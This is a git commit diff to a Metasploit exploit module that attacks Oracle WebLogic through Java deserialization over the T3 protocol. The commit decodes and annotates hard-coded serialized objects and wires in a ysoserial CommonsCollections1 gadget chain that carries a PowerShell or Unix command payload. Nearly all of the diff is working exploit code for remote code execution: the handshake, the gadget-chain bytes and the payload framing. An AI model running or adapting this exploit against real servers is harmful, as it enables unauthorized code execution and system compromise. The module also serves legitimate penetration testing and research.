Reverse engineered JSOs, used new ysoserial functionality
asoto-r7
parent
a10a5e74c4
commit
0f9a796d2f
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@ -9,7 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
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Rank = ManualRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::HttpClient
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#include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Powershell
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def initialize(info={})
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@ -22,9 +22,9 @@ class MetasploitModule < Msf::Exploit::Remote
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},
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'Author' =>
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[
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'Andres Rodriguez <arodriguez[at]2secure.org>', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)
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'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)
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'Stephen Breen', # Vulnerability Discovery
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'Jacob Robles' # Metasploit Module Template
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'Aaron Soto' # Reverse Engineering JSO and ysoserial blobs
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],
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'License' => MSF_LICENSE,
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'References' =>
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@ -71,6 +71,7 @@ class MetasploitModule < Msf::Exploit::Remote
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register_options([Opt::RPORT(7001)])
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end
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=begin This check is currently incompatible with the Tcp mixin. :-(
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def check
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resp = send_request_cgi(
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'method' => 'GET',
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@ -105,14 +106,16 @@ class MetasploitModule < Msf::Exploit::Remote
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return CheckCode::Safe
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end
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=end
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def t3_handshake
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# retrieved from network traffic
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shake = '74332031322e322e310a41533a323535'
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shake << '0a484c3a31390a4d533a313030303030'
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shake << '30300a0a'
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shake = "t3 12.2.1\n"
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shake << "AS:255\n"
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shake << "HL:19\n"
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shake << "MS:10000000\n\n"
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sock.put([shake].pack('H*'))
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sock.put(shake)
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sleep(1)
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sock.get_once
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end
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@ -120,56 +123,213 @@ class MetasploitModule < Msf::Exploit::Remote
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def build_t3_request_object
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# T3 request serialized data
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# retrieved by watching network traffic
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# This is a proprietary, undocumented protocol
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# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?
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data = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a'
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data << '56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278'
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data << '700000000a000000030000000000000006007070707070700000000a00000003'
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data << '0000000000000006007006fe010000aced00057372001d7765626c6f6769632e'
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data << '726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078'
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data << '707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e506163'
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data << '6b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d69'
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data << '6e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b'
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data << '5a000e74656d706f7261727950617463684c0009696d706c5469746c65740012'
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data << '4c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271'
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data << '007e00034c000b696d706c56657273696f6e71007e000378707702000078fe01'
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data << '0000aced00057372001d7765626c6f6769632e726a766d2e436c617373546162'
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data << '6c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e'
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data << '636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f9722455164'
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data << '52463e0200035b00087061636b616765737400275b4c7765626c6f6769632f63'
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data << '6f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e7265'
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data << '6c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e67'
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data << '3b5b001276657273696f6e496e666f417342797465737400025b427872002477'
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data << '65626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b61676549'
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data << '6e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f724900'
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data << '0c726f6c6c696e67506174636849000b736572766963655061636b5a000e7465'
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data << '6d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a'
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data << '696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e'
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data << '000478707702000078fe010000aced00057372001d7765626c6f6769632e726a'
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data << '766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c0000787072'
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data << '00217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5065657249'
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data << '6e666f585474f39bc908f10200064900056d616a6f724900056d696e6f724900'
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data << '0c726f6c6c696e67506174636849000b736572766963655061636b5a000e7465'
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data << '6d706f7261727950617463685b00087061636b616765737400275b4c7765626c'
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data << '6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f'
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data << '3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5665'
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data << '7273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
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data << '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c61'
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data << '6e672f537472696e673b5b001276657273696f6e496e666f4173427974657374'
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data << '00025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c'
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data << '2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f7249'
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data << '00056d696e6f7249000c726f6c6c696e67506174636849000b73657276696365'
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data << '5061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c'
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data << '6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56'
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data << '657273696f6e71007e000578707702000078fe00fffe010000aced0005737200'
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data << '137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078'
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data << '707750210000000000000000000d3139322e3136382e312e323237001257494e'
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data << '2d4147444d565155423154362e656883348cd6000000070000'
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data << '0000000000000006007006'
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data << rport.to_s(16).rjust(4, '0')
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data << 'fe010000' # ----- separator -----
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data << 'ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced00'
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data << '05737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a'
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data << '0c0000787077200114dc42bd071a7727000d3234322e3231342e312e32353461'
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data << '863d1d0000000078'
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data << 'aced0005' # JSO v5 header
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data << '73' # object header
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data << '72001d' # className (29 bytes):
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data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry
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data << '5461626c65456e747279' # (continued)
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data << '2f52658157f4f9ed' # serialVersionUID
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data << '0c00007870' # remainder of object header
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data << '72' # object header
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data << '00247765626c6f6769632e636f6d6d6f6e2e696e74' # className (36 bytes): weblogic.common.internal.PackageInfo
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data << '65726e616c2e5061636b616765496e666f' # (continued)
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data << 'e6f723e7b8ae1ec9' # serialVersionUID
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data << '02' # SC_SERIALIZABLE
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data << '0008' # fieldCount = 8
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data << '4900056d616a6f72' # 0: Int: major
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data << '4900056d696e6f72' # 1: Int: minor
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data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
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data << '49000b736572766963655061636b' # 3: Int: servicePack
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data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
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data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
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data << '7400124c6a6176612f6c616e672f537472696e673b' # java/lang/String
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data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
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data << '71007e0003' # (Handle) 0x007e0003
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data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
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data << '71007e0003' # (Handle) 0x007e0003
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data << '78707702000078' # block footers
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data << 'fe010000' # ----- separator -----
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data << 'aced0005' # JSO v5 header
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data << '7372' # object header
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data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry
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data << '735461626c65456e747279' # (continued)
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data << '2f52658157f4f9ed' # serialVersionUID
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data << '0c' # EXTERNALIZABLE | BLOCKDATA
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data << '00007870' # remainder of object header
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data << '72' # object header
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data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo
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data << 'e7465726e616c2e56657273696f6e496e666f' # (continued)
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data << '972245516452463e' # serialVersionUID
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data << '02' # SC_SERIALIZABLE
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data << '0003' # fieldCount = 3
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data << '5b0008' # array header (8 bytes)
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data << '7061636b61676573' # ARRAY NAME = 'packages'
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data << '740027' # TC_STRING className1 (39 bytes)
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data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # weblogic/common/internal/PackageInfo
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data << '6e7465726e616c2f5061636b616765496e666f' # (continued)
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data << '3b' # (continued)
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data << '4c000e' # object header (14 bytes)
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data << '72656c6561736556657273696f6e' # releaseVersion
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data << '740012' # TC_STRING (18 bytes)
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data << '4c6a6176612f6c616e672f537472696e673b' # versionInfoAsBytes
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data << '5b0012' # array header (18 bytes)
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data << '76657273696f6e496e666f41734279746573' # ARRAY NAME = java/lang/String;
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data << '740002' # TC_STRING (2 bytes)
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data << '5b42' # 0x5b42 = [B
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data << '78' # block footer
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data << '720024' # class (36 bytes)
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data << '7765626c6f6769632e636f6d6d6f6e2e696e' # weblogic.common.internal.PackageInfo
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data << '7465726e616c2e5061636b616765496e666f' # (continued)
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data << 'e6f723e7b8ae1ec9' # serialVersionUID
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data << '02' # SC_SERIALIZABLE
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data << '0008' # fieldCount = 8
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data << '4900056d616a6f72' # 0: Int: major
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data << '4900056d696e6f72' # 1: Int: minor
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data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
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data << '49000b736572766963655061636b' # 3: Int: servicePack
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data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
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data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
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data << '71' # TC_REFERENCE
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data << '007e0004' # Handle = 0x007e0004
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data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
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data << '71' # TC_REFERENCE
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data << '007e0004' # Handle = 0x007e0004
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data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
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data << '71' # TC_REFERENCE
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data << '007e0004' # Handle = 0x007e0004
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data << '78' # class footer
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data << '70' # TC_NULL
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data << '77020000' # BLOCKDATA (2 bytes): 0x0000
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data << '78' # block footer
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data << 'fe010000' # ----- separator -----
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data << 'aced0005' # JSO v5 header
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data << '73' # object header
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data << '72001d' # className (29 bytes):
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data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry
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data << '5461626c65456e747279' # (continued)
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data << '2f52658157f4f9ed' # serialVersionUID
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data << '0c00007870' # remainder of object header
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data << '720021' # className (33 bytes)
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data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # weblogic.common.internal.PeerInfo
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data << '65726e616c2e50656572496e666f' # (continued)
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data << '585474f39bc908f1' # serialVersionUID
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data << '02' # SC_SERIALIZABLE
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data << '0006' # fieldCount = 6
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data << '4900056d616a6f72' # 0: Int: major
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data << '4900056d696e6f72' # 1: Int: minor
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data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
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data << '49000b736572766963655061636b' # 3: Int: servicePack
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data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
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data << '5b00087061636b61676573' # 5: Array: packages
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data << '740027' # TC_STRING (39 bytes)
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data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # Lweblogic/common/internal/PackageInfo;
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data << '6e7465726e616c2f5061636b616765496e666f' # (continued)
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data << '3b' # (continued)
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data << '78' # block footer
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data << '720024' # class header
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data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Name = Lweblogic/common/internal/PackageInfo;
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data << '65726e616c2e56657273696f6e496e666f' # (continued)
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data << '972245516452463e' # serialVersionUID
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data << '02' # SC_SERIALIZABLE
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data << '0003' # fieldCount = 3
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data << '5b0008' # 0: Array
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data << '7061636b6167657371' # packages
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data << '007e0003' # Handle = 0x00730003
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data << '4c000e72656c6561736556657273696f6e' # 1: Obj: releaseVersion
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data << '7400124c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;
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data << '5b001276657273696f6e496e666f41734279746573' # 2: Array: versionInfoAsBytes
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data << '740002' # TC_STRING (2 bytes)
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data << '5b42' # VALUE = 0x5b42 = [B
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data << '78' # block footer
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data << '720024' # class header
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data << '7765626c6f6769632e636f6d6d6f6e2e696e746572' # Name = weblogic.common.internal.PackageInfo
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data << '6e616c2e5061636b616765496e666f' # (continued)
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data << 'e6f723e7b8ae1ec9' # serialVersionUID
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data << '02' # SC_SERIALIZABLE
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data << '0008' # fieldCount = 8
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data << '4900056d616a6f72' # 0: Int: major
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data << '4900056d696e6f72' # 1: Int: minor
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data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
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data << '49000b736572766963655061636b' # 3: Int: servicePack
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data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
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data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
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data << '71' # TC_REFERENCE
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data << '007e0005' # Handle = 0x007e0005
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data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
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data << '71' # TC_REFERENCE
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data << '007e0005' # Handle = 0x007e0005
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data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
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data << '71' # TC_REFERENCE
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data << '007e0005' # Handle = 0x007e0005
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data << '78' # class footer
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data << '707702000078' # block footers
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data << 'fe00ff' # this cruft again. some kind of footer
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data << 'fe010000' # ----- separator -----
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# weblogic.rjvm.JVMID object
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data << 'aced0005' # JSO v5 header
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data << '73' # object header
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data << '720013' # class header
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data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID'
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data << 'dc49c23ede121e2a' # serialVersionUID
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data << '0c' # EXTERNALIZABLE | BLOCKDATA
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data << '0000' # fieldCount = 0 (!!!)
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data << '78' # block footer
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data << '70' # NULL
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data << '7750' # block header (80 bytes)
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data << '21' # !
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data << '000000000000000000' # 9 NULL BYTES
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data << '0d' # \n
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data << '3139322e3136382e312e323237' # 192.168.1.227 #TODO: RANDOMIZE
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data << '00' # \0
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data << '12' # ??? UNKNOWN
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data << '57494e2d4147444d56515542315436' # WIN-AGDMVQUB1T6 #TODO: RANDOMIZE
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data << '2e' # .
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data << '656883348cd6' # ??? UNKNOWN ??? #TODO: CAN WE RANDOMIZE THIS?
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data << '000000070000' # ??? UNKNOWN ??? #TODO: CAN WE RANDOMIZE THIS?
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data << '0000' # ??? UNKNOWN ??? #TODO: CAN WE RANDOMIZE THIS?
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data << rport.to_s(16).rjust(4, '0') # callback port
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data << 'ffffffffffffffffffffffffffffffffffffff' # ??? UNKNOWN ??? #TODO: CAN WE RANDOMIZE THIS?
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data << 'ffffffffff' # ??? UNKNOWN ??? #TODO: CAN WE RANDOMIZE THIS?
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data << '78' # block footer
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data << 'fe010000' # ----- separator -----
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# weblogic.rjvm.JVMID object
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data << 'aced0005' # JSO v5 header
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data << '73' # object header
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data << '72' # class
|
||||
data << '00137765626c6f6769632e726a766d2e4a564d4944' # Name: weblogic.rjvm.JVMID
|
||||
data << 'dc49c23ede121e2a' # serialVersionUID
|
||||
data << '0c' # EXTERNALIZABLE | BLOCKDATA
|
||||
data << '0000' # fieldCount = 0
|
||||
data << '78' # end block
|
||||
data << '70' # TC_NULL
|
||||
data << '77' # block header
|
||||
data << '20' # length = 32 bytes
|
||||
data << '0114dc42bd071a772700' # ??? UNKNOWN ??? #TODO: CAN WE RANDOMIZE THIS?
|
||||
data << '0d' # \n
|
||||
data << '3234322e3231342e312e323534' # 242.214.1.254 #TODO: RANDOMIZE
|
||||
data << '61863d1d' # ??? UNKNOWN ??? #TODO: CAN WE RANDOMIZE THIS?
|
||||
data << '00000000' # NULL BYTES
|
||||
data << '78' # block footer
|
||||
|
||||
sock.put([data].pack('H*'))
|
||||
sleep(1)
|
||||
|
|
@ -179,94 +339,132 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def send_payload_objdata
|
||||
# payload creation
|
||||
if target.name == 'Windows'
|
||||
pwrshl = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true})
|
||||
mycmd = pwrshl.each_byte.map {|b| b.to_s(16)}.join
|
||||
mycmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true})
|
||||
elsif target.name == 'Unix' || target.name == 'Solaris'
|
||||
nix_cmd = payload.encoded
|
||||
mycmd = nix_cmd.each_byte.map {|b| b.to_s(16)}.join
|
||||
mycmd = payload.encoded
|
||||
end
|
||||
|
||||
# serializing manually the payload string
|
||||
serialized_cmd = (mycmd.length >> 1).to_s(16).rjust(4,'0')
|
||||
serialized_cmd << mycmd
|
||||
|
||||
# basic weblogic ClassTableEntry object (serialized)
|
||||
# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?
|
||||
payload = '056508000000010000001b0000005d0101007372017870737202787000000000'
|
||||
payload << '00000000757203787000000000787400087765626c6f67696375720478700000'
|
||||
payload << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced'
|
||||
payload << '00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e'
|
||||
payload << '7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e0020000'
|
||||
payload << '78707702000078fe010000aced00057372001d7765626c6f6769632e726a766d'
|
||||
payload << '2e436c6173735461626c65456e7472792f52658157f4f9ed0c00007870720013'
|
||||
payload << '5b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007870'
|
||||
payload << '7702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e43'
|
||||
payload << '6c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a61'
|
||||
payload << '76612e7574696c2e566563746f72d9977d5b803baf0103000349001163617061'
|
||||
payload << '63697479496e6372656d656e7449000c656c656d656e74436f756e745b000b65'
|
||||
payload << '6c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b'
|
||||
payload << '78707702000078fe010000'
|
||||
payload << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'
|
||||
|
||||
# payload generated from ysoserial:
|
||||
# java -jar ysoserial-0.0.5-all.jar CommonsCollections1 calc.exe
|
||||
# the command (calc.exe) is patched in runtime with the payload
|
||||
payload << 'aced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e41'
|
||||
payload << '6e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb'
|
||||
payload << '7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f757469'
|
||||
payload << '6c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c617373'
|
||||
payload << '3b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a617661'
|
||||
payload << '2e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c00'
|
||||
payload << '01687400254c6a6176612f6c616e672f7265666c6563742f496e766f63617469'
|
||||
payload << '6f6e48616e646c65723b78707371007e00007372002a6f72672e617061636865'
|
||||
payload << '2e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d6170'
|
||||
payload << '6ee594829e7910940300014c0007666163746f727974002c4c6f72672f617061'
|
||||
payload << '6368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f72'
|
||||
payload << '6d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c'
|
||||
payload << '6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f'
|
||||
payload << '726d657230c797ec287a97040200015b000d695472616e73666f726d65727374'
|
||||
payload << '002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f'
|
||||
payload << '6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368'
|
||||
payload << '652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65'
|
||||
payload << '723bbd562af1d83418990200007870000000057372003b6f72672e6170616368'
|
||||
payload << '652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e43'
|
||||
payload << '6f6e7374616e745472616e73666f726d6572587690114102b1940200014c0009'
|
||||
payload << '69436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870'
|
||||
payload << '767200116a6176612e6c616e672e52756e74696d650000000000000000000000'
|
||||
payload << '78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374'
|
||||
payload << '696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d6572'
|
||||
payload << '87e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e'
|
||||
payload << '672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f'
|
||||
payload << '6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a'
|
||||
payload << '6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e67'
|
||||
payload << '2e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452'
|
||||
payload << '756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7ae'
|
||||
payload << 'cbcd5a990200007870000000007400096765744d6574686f647571007e001e00'
|
||||
payload << '000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202'
|
||||
payload << '000078707671007e001e7371007e00167571007e001b00000002707571007e00'
|
||||
payload << '1b00000000740006696e766f6b657571007e001e00000002767200106a617661'
|
||||
payload << '2e6c616e672e4f626a656374000000000000000000000078707671007e001b73'
|
||||
payload << '71007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7'
|
||||
payload << 'e91d7b4702000078700000000174'
|
||||
payload << 'fe010000' # ----- separator -----
|
||||
|
||||
payload << serialized_cmd
|
||||
payload << 'aced0005' # JSO v5 header
|
||||
payload << '73' # object header
|
||||
payload << '72' # class
|
||||
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
|
||||
payload << '73735461626c65456e747279' # (cont)
|
||||
payload << '2f52658157f4f9ed' # serialVersionUID
|
||||
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
|
||||
payload << '0000' # fieldCount = 0
|
||||
payload << '7870' # remaining object header
|
||||
payload << '72' # class header
|
||||
payload << '00025b42' # Name: 0x5b42
|
||||
payload << 'acf317f8060854e0' # serialVersionUID
|
||||
payload << '02' # SERIALIZABLE
|
||||
payload << '0000' # fieldCount = 0
|
||||
payload << '7870' # class footer
|
||||
payload << '77' # block header
|
||||
payload << '020000' # contents = 0x0000
|
||||
payload << '78' # block footer
|
||||
|
||||
payload << '740004657865637571007e001e0000000171007e00237371007e001173720011'
|
||||
payload << '6a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576'
|
||||
payload << '616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b'
|
||||
payload << '020000787000000001737200116a6176612e7574696c2e486173684d61700507'
|
||||
payload << 'dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f'
|
||||
payload << '6c6478703f40000000000000770800000010000000007878767200126a617661'
|
||||
payload << '2e6c616e672e4f766572726964650000000000000000000000787071007e003a'
|
||||
# end of payload object
|
||||
payload << 'fe010000' # ----- separator -----
|
||||
|
||||
payload << 'aced0005' # JSO v5 header
|
||||
payload << '73' # object header
|
||||
payload << '72' # class
|
||||
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
|
||||
payload << '73735461626c65456e747279' # (cont)
|
||||
payload << '2f52658157f4f9ed' # serialVersionUID
|
||||
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
|
||||
payload << '0000' # fieldCount = 0
|
||||
payload << '7870' # remaining object header
|
||||
payload << '72' # class header
|
||||
|
||||
payload << '00135b4c6a6176612e6c616e672e4f626a' # Name: [Ljava.lang.Object;
|
||||
payload << '6563743b' # (cont)
|
||||
payload << '90ce589f1073296c' # serialVersionUID
|
||||
payload << '02' # SERIALIZABLE
|
||||
payload << '0000' # fieldCount = 0
|
||||
payload << '7870' # remaining object header
|
||||
payload << '77' # block header
|
||||
payload << '020000' # contents = 0x0000
|
||||
payload << '78' # block footer
|
||||
|
||||
payload << 'fe010000' # ----- separator -----
|
||||
|
||||
payload << 'aced0005' # JSO v5 header
|
||||
payload << '73' # object header
|
||||
payload << '72' # class
|
||||
|
||||
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
|
||||
payload << '73735461626c65456e747279' # (cont)
|
||||
payload << '2f52658157f4f9ed' # serialVersionUID
|
||||
payload << '0c' # SERIALIZABLE | BLOCKDATA
|
||||
payload << '0000' # fieldCount = 0
|
||||
payload << '7870' # block footer
|
||||
payload << '72' # class header
|
||||
payload << '00106a6176612e7574696c2e566563746f72' # Name: java.util.Vector
|
||||
payload << 'd9977d5b803baf01' # serialVersionUID
|
||||
payload << '03' # WRITE_METHOD | SERIALIZABLE
|
||||
payload << '0003' # fieldCount = 3
|
||||
payload << '4900116361706163697479496e6372656d656e74' # 0: Int: capacityIncrement
|
||||
payload << '49000c656c656d656e74436f756e74' # 1: Int: elementCount
|
||||
payload << '5b000b656c656d656e7444617461' # 2: Array: elementData
|
||||
payload << '7400135b4c6a6176612f6c616e672f4f626a6563' # 3: String: [Ljava/lang/Object;
|
||||
payload << '743b' # (cont)
|
||||
payload << '7870' # remaining object header
|
||||
payload << '77' # block header
|
||||
payload << '020000' # contents = 0x0000
|
||||
payload << '78' # block footer
|
||||
|
||||
payload << 'fe010000' # ----- separator -----
|
||||
|
||||
ysoserial_payload = ::Msf::Util::JavaDeserialization.ysoserial_payload("CommonsCollections1",mycmd)
|
||||
payload << ysoserial_payload.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join
|
||||
|
||||
payload << 'fe010000' # ----- separator -----
|
||||
|
||||
# basic weblogic ImmutableServiceContext object (serialized)
|
||||
payload << 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461'
|
||||
payload << '626c6553657276696365436f6e74657874ddcba8706386f0ba0c000078720029'
|
||||
payload << '7765626c6f6769632e726d692e70726f76696465722e42617369635365727669'
|
||||
payload << '6365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765'
|
||||
payload << '626c6f6769632e726d692e696e7465726e616c2e4d6574686f64446573637269'
|
||||
payload << '70746f7212485a828af7f67b0c000078707734002e61757468656e7469636174'
|
||||
payload << '65284c7765626c6f6769632e73656375726974792e61636c2e55736572496e66'
|
||||
payload << '6f3b290000001b7878fe00ff'
|
||||
payload << 'aced0005' # JSO v5 header
|
||||
payload << '73' # object header
|
||||
payload << '72' # class
|
||||
payload << '00257765626c6f6769632e726a766d2e496d6d75' # Name: weblogic.rjvm.ImmutableServiceContext
|
||||
payload << '7461626c6553657276696365436f6e74657874' # (cont)
|
||||
payload << 'ddcba8706386f0ba' # serialVersionUID
|
||||
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
|
||||
payload << '0000' # fieldCount = 0
|
||||
payload << '78' # object footer
|
||||
payload << '72' # block header
|
||||
payload << '00297765626c6f6769632e726d692e70726f76' # Name: weblogic.rmi.provider.BasicServiceContext
|
||||
payload << '696465722e426173696353657276696365436f' # (cont)
|
||||
payload << '6e74657874' # (cont)
|
||||
payload << 'e4632236c5d4a71e' # serialVersionUID
|
||||
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
|
||||
payload << '0000' # fieldCount = 0
|
||||
payload << '7870' # block footer
|
||||
payload << '77' # block header
|
||||
payload << '020600' # contents = 0x0600
|
||||
payload << '7372' # class descriptor
|
||||
payload << '00267765626c6f6769632e726d692e696e7465' # Name: weblogic.rmi.internal.MethodDescriptor
|
||||
payload << '726e616c2e4d6574686f644465736372697074' # (cont)
|
||||
payload << '6f72' # (cont)
|
||||
payload << '12485a828af7f67b' # serialVersionUID
|
||||
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
|
||||
payload << '0000' # fieldCount = 0
|
||||
payload << '7870' # class footer
|
||||
payload << '77' # class data #TODO: CAN WE RANDOMIZE THIS?
|
||||
payload << '34002e61757468656e746963617465284c7765' # Contents = 0x002e61757468656e746963617465284c7765
|
||||
payload << '626c6f6769632e73656375726974792e61636c' # 626c6f6769632e73656375726974792e61636c
|
||||
payload << '2e55736572496e666f3b290000001b' # 2e55736572496e666f3b290000001b
|
||||
payload << '78' # class footer
|
||||
payload << '78' # block footer
|
||||
# MISSING OBJECT FOOTER (0x78)
|
||||
|
||||
payload << 'fe00ff' # this cruft again. some kind of footer
|
||||
|
||||
# sets the length of the stream
|
||||
data = ((payload.length >> 1) + 4).to_s(16).rjust(8,'0')
|
||||
|
|
|
|||
Loading…
Reference in New Issue